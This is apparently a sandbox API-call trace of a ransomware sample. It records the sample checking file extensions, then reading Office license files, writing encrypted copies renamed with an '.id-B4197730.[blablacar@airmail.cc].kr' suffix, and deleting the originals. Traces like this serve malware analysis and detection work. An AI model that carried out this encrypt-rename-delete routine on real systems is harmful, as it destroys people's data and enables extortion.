[0192.136] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.136] lstrlenW (lpString=".pdf") returned 4 [0192.136] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString=".xls") returned 4 [0192.137] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString=".xlsx") returned 5 [0192.137] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.137] lstrlenW (lpString=".ppt") returned 4 [0192.137] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.137] lstrlenW (lpString=".zip") returned 4 [0192.137] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString=".rar") returned 4 [0192.137] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString=".bz2") returned 4 [0192.137] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString=".7z") returned 3 [0192.137] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.137] lstrlenW (lpString=".dbf") returned 4 [0192.137] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.137] lstrlenW (lpString=".1cd") returned 4 [0192.137] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.137] lstrlenW (lpString=".jpg") returned 4 [0192.137] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.137] lstrlenW (lpString=".doc") returned 4 [0192.137] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.137] lstrlenW (lpString=".docx") returned 5 [0192.138] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.138] lstrlenW (lpString=".pdf") returned 4 [0192.138] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString=".xls") returned 4 [0192.138] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString=".xlsx") returned 5 [0192.138] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.138] lstrlenW (lpString=".ppt") returned 4 [0192.138] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.138] lstrlenW (lpString=".zip") returned 4 [0192.138] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString=".rar") returned 4 [0192.138] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString=".bz2") returned 4 [0192.138] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString=".7z") returned 3 [0192.138] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.138] lstrlenW (lpString=".dbf") returned 4 [0192.138] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.138] lstrlenW (lpString=".1cd") returned 4 [0192.138] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0192.139] lstrlenW (lpString=".jpg") returned 4 [0192.139] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.139] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.139] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26 [0192.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.140] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10639) returned 1 [0192.140] CloseHandle (hObject=0x36c) returned 1 [0192.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0192.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.141] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.141] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.142] GetLastError () returned 0x0 [0192.142] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x298f, lpOverlapped=0x0) returned 1 [0192.145] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2990, lpOverlapped=0x0) returned 1 [0192.146] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.146] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x108, lpOverlapped=0x0) returned 1 [0192.146] SetEndOfFile (hFile=0x370) returned 1 [0192.147] CloseHandle (hObject=0x370) returned 1 [0192.147] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.147] SetEndOfFile (hFile=0x36c) returned 1 [0192.153] CloseHandle (hObject=0x36c) returned 1 [0192.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.154] lstrlenW (lpString=".doc") returned 4 [0192.154] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.154] lstrlenW (lpString=".docx") returned 5 [0192.154] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.154] lstrlenW (lpString=".pdf") returned 4 [0192.154] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.154] lstrlenW (lpString=".xls") returned 4 [0192.154] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.154] lstrlenW (lpString=".xlsx") returned 5 [0192.154] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.154] lstrlenW (lpString=".ppt") returned 4 [0192.154] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.154] lstrlenW (lpString=".zip") returned 4 [0192.155] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString=".rar") returned 4 [0192.155] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString=".bz2") returned 4 [0192.155] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString=".7z") returned 3 [0192.155] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.155] lstrlenW (lpString=".dbf") returned 4 [0192.155] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.155] lstrlenW (lpString=".1cd") returned 4 [0192.155] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.155] lstrlenW (lpString=".jpg") returned 4 [0192.155] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.155] lstrlenW (lpString=".doc") returned 4 [0192.155] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString=".docx") returned 5 [0192.155] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.155] lstrlenW (lpString=".pdf") returned 4 [0192.155] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString=".xls") returned 4 [0192.155] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.155] lstrlenW (lpString=".xlsx") returned 5 [0192.155] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.155] lstrlenW (lpString=".ppt") returned 4 [0192.155] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.156] lstrlenW (lpString=".zip") returned 4 [0192.156] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.156] lstrlenW (lpString=".rar") returned 4 [0192.156] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.156] lstrlenW (lpString=".bz2") returned 4 [0192.156] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.156] lstrlenW (lpString=".7z") returned 3 [0192.156] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.156] lstrlenW (lpString=".dbf") returned 4 [0192.156] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.156] lstrlenW (lpString=".1cd") returned 4 [0192.156] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0192.156] lstrlenW (lpString=".jpg") returned 4 [0192.156] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.156] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.156] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27 [0192.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.157] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=20780) returned 1 [0192.157] CloseHandle (hObject=0x36c) returned 1 [0192.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0192.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.158] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.158] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.159] GetLastError () returned 0x0 [0192.159] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x512c, lpOverlapped=0x0) returned 1 [0192.162] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5130, lpOverlapped=0x0) returned 1 [0192.163] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0192.163] SetEndOfFile (hFile=0x370) returned 1 [0192.163] CloseHandle (hObject=0x370) returned 1 [0192.163] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.163] SetEndOfFile (hFile=0x36c) returned 1 [0192.167] CloseHandle (hObject=0x36c) returned 1 [0192.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 1 [0192.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.168] lstrlenW (lpString=".doc") returned 4 [0192.168] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.168] lstrlenW (lpString=".docx") returned 5 [0192.168] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.168] lstrlenW (lpString=".pdf") returned 4 [0192.168] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.168] lstrlenW (lpString=".xls") returned 4 [0192.168] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.168] lstrlenW (lpString=".xlsx") returned 5 [0192.168] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.168] lstrlenW (lpString=".ppt") returned 4 [0192.168] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.169] lstrlenW (lpString=".zip") returned 4 [0192.169] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".rar") returned 4 [0192.169] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".bz2") returned 4 [0192.169] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".7z") returned 3 [0192.169] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.169] lstrlenW (lpString=".dbf") returned 4 [0192.169] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.169] lstrlenW (lpString=".1cd") returned 4 [0192.169] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.169] lstrlenW (lpString=".jpg") returned 4 [0192.169] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.169] lstrlenW (lpString=".doc") returned 4 [0192.169] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".docx") returned 5 [0192.169] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.169] lstrlenW (lpString=".pdf") returned 4 [0192.169] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".xls") returned 4 [0192.169] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".xlsx") returned 5 [0192.169] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.170] lstrlenW (lpString=".ppt") returned 4 [0192.170] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.170] lstrlenW (lpString=".zip") returned 4 [0192.170] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString=".rar") returned 4 [0192.170] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString=".bz2") returned 4 [0192.170] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString=".7z") returned 3 [0192.170] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.170] lstrlenW (lpString=".dbf") returned 4 [0192.170] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.170] lstrlenW (lpString=".1cd") returned 4 [0192.170] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms") returned 77 [0192.170] lstrlenW (lpString=".jpg") returned 4 [0192.170] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.170] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.171] lstrlenW (lpString="AccessR_OEM_Perp-ul-oob.xrm-ms") returned 30 [0192.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.171] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11587) returned 1 [0192.171] CloseHandle (hObject=0x36c) returned 1 [0192.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0192.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.172] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.172] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0192.173] GetLastError () returned 0x0 [0192.173] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d43, lpOverlapped=0x0) returned 1 [0192.176] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d50, lpOverlapped=0x0) returned 1 [0192.177] ReadFile (in: hFile=0x36c, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0192.177] WriteFile (in: hFile=0x370, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0192.177] SetEndOfFile (hFile=0x370) returned 1 [0192.177] CloseHandle (hObject=0x370) returned 1 [0192.177] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0192.177] SetEndOfFile (hFile=0x36c) returned 1 [0192.517] CloseHandle (hObject=0x36c) returned 1 [0192.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-oob.xrm-ms")) returned 1 